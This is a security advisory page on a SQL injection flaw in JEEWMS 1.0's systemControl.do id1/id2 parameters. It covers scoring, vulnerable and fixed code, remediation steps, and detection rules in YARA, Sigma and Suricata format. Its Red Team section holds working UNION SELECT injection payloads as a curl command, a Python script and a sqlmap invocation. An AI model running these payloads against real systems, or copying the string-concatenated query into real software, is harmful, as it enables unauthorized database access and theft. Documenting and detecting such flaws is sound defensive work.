CVE-2025-70311
Executive Summary
CVE-2025-70311 is a critical SQL Injection vulnerability discovered in JEEWMS 1.0, an open-source warehouse management system. The flaw resides in the /systemControl.do interface, specifically within the id1 and id2 parameters. An unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential full database compromise. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept details.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Java-based web application (JEEWMS). While not a package manager ecosystem (NPM, PyPI, etc.), the risk extends to any organization using JEEWMS 1.0 in their supply chain. Attackers can exploit this to pivot into internal networks, exfiltrate sensitive data, or deploy backdoors.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, likely due to incomplete NVD data. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.
Deep Dive & Mechanics
The vulnerability exists in the systemControl.do servlet. The application fails to sanitize user-supplied input in the id1 and id2 parameters before constructing SQL queries. An attacker can inject SQL metacharacters (e.g., single quotes, UNION statements) to manipulate the query logic.
Example vulnerable code snippet (conceptual):
String query = "SELECT * FROM users WHERE id1 = '" + request.getParameter("id1") + "' AND id2 = '" + request.getParameter("id2") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
This allows an attacker to break out of the string context and execute arbitrary SQL commands.
Vulnerable vs. Patched Code
Vulnerable Code (JEEWMS 1.0):
// No input validation or parameterized queries
String id1 = request.getParameter("id1");
String id2 = request.getParameter("id2");
String sql = "SELECT * FROM data WHERE id1 = '" + id1 + "' AND id2 = '" + id2 + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
Patched Code (Hypothetical fix):
// Use parameterized queries to prevent SQL injection
String sql = "SELECT * FROM data WHERE id1 = ? AND id2 = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, request.getParameter("id1"));
pstmt.setString(2, request.getParameter("id2"));
ResultSet rs = pstmt.executeQuery();
Exploitation & Lab Setup
Red Team
Proof-of-Concept (PoC) Exploit:
# Exploit using curl to extract database version
curl -X GET "http://target.com/systemControl.do?id1=1' UNION SELECT @@version,2,3--&id2=1"
Automated Exploit Script (Python):
import requests
target = "http://target.com/systemControl.do"
payload = "1' UNION SELECT @@version,2,3--"
params = {"id1": payload, "id2": "1"}
response = requests.get(target, params=params)
print(response.text)
Lab Setup:
- Deploy JEEWMS 1.0 on a local VM (e.g., using Docker or manual installation).
- Ensure the
/systemControl.doendpoint is accessible. - Use the PoC above to verify SQL injection.
- For advanced exploitation, use
sqlmap:sqlmap -u "http://target.com/systemControl.do?id1=1&id2=1" --batch --dbs
Blue Team
Detection Steps:
- Monitor web server logs for suspicious patterns in
id1andid2parameters (e.g., single quotes, UNION, SELECT). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Implement input validation and parameterized queries in the application code.
Honeypot Setup:
- Create a fake endpoint mimicking
/systemControl.doto trap attackers. - Log all requests for forensic analysis.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/systemControl.dowithid1orid2parameters containing SQL keywords (e.g.,UNION,SELECT,'). - Outbound database connections from the web server to unknown IPs.
- HTTP requests to
- File IOCs:
- Unexpected files in the web root (e.g., shells, backdoors).
- Modified database entries (e.g., admin user creation).
- Log IOCs:
- Web server logs showing SQL error messages (e.g., "You have an error in your SQL syntax").
- Database logs showing unusual queries.
Detection Engineering
YARA Rule
rule CVE_2025_70311_SQLi {
meta:
description = "Detects SQL injection attempts targeting JEEWMS systemControl.do"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-70311"
strings:
$s1 = "systemControl.do" nocase
$s2 = "id1=" nocase
$s3 = "id2=" nocase
$sql_pattern = /(UNION|SELECT|INSERT|DELETE|DROP|'|--|#)/ nocase
condition:
all of ($s*) and any of ($sql_pattern)
}
Sigma Rule
title: SQL Injection Attempt on JEEWMS systemControl.do
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the id1 and id2 parameters in JEEWMS
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "systemControl.do"
- "id1="
- "id2="
keywords:
- "'"
- "UNION"
- "SELECT"
- "1=1"
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in input
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-70311 SQL Injection Attempt"; flow:to_server; content:"systemControl.do"; http_uri; content:"id1="; http_uri; pcre:"/(UNION|SELECT|'|--)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
/systemControl.doendpoint if not required. - Apply a WAF rule to block SQL injection patterns.
- Restrict network access to the application.
- Disable the
Long-term Fix:
- Upgrade to a patched version of JEEWMS (if available).
- Implement parameterized queries (PreparedStatements) in all database interactions.
- Conduct a full code audit for similar vulnerabilities.
Monitoring:
- Enable detailed logging for all web requests.
- Set up alerts for SQL injection patterns.
User Education:
- Train developers on secure coding practices (OWASP Top 10).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.